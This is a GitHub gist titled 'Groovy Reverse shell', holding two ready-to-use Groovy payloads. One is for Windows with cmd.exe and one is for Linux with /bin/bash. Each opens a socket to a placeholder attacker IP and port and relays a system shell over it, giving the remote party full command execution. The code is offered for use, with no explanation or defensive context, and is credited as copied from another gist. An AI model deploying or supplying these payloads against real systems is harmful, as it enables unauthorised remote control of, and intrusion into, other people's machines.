Skip to content

Instantly share code, notes, and snippets.

@3lpsy
Created September 16, 2020 02:29
Show Gist options
  • Save 3lpsy/71bbc86771d7b19277d19f80fdc1b67e to your computer and use it in GitHub Desktop.
Save 3lpsy/71bbc86771d7b19277d19f80fdc1b67e to your computer and use it in GitHub Desktop.
Groovy Reverse shell
// stolen: https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
// Windows
String host="CHANGEME_IP";
int port=CHANGEME_PORT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
// Linux
String host="CHANGEME_IP";
int port=CHANGEME_PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment